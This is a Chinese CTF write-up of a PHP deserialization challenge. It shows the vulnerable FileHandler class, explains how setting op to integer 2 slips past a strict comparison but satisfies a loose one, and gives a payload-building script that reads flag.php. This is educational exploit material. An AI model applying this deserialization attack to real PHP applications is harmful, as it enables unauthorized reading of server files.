知识点 强弱类型的比较
protect 序列化后会有%00*%00字符
反序列化
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
?>
先找到几个关键点flag.php flag肯定在里面想办法读取出来 再就是
$$str = (string) $ _GET[‘str’];
if(is_valid($str)) {
$ obj = unserialize($str);
}想到了反序列化,同时发现了两个魔法函数__construct()和__destruct()一定要知道这两个函数在什么时候调用
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
construct 函数是在反序列化创建对象之前调用的会将op赋值为1,然后将Hello world!写入/tmp/tmpfile
当销毁对象之前会调用destruct()
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
这里会发现op在这里和字符2进行了强类型比较
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
这里发现read函数可以读取文件因此要想获取flag必须调用read()又发现process()判断过程op == “2” 使用的是弱类型比较 所以这里想到使op为整形2来绕过强类型比较op === “2” 同时还可以满足弱类型op == “2”
进入read函数便可以利用file_get_contents()读取flag.php内容拿到flag
这里附上payload构造代码
<?php
class FileHandler {
public $op=2;
public $filename='flag.php';
public $content;
}
$b=new FileHandler();
$a=serialize($b);
echo urlencode($a);
?>
还有一个需要注意的地方是,$ op,$ filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
32-125是可打印字符的ascii范围
查看源码得到flag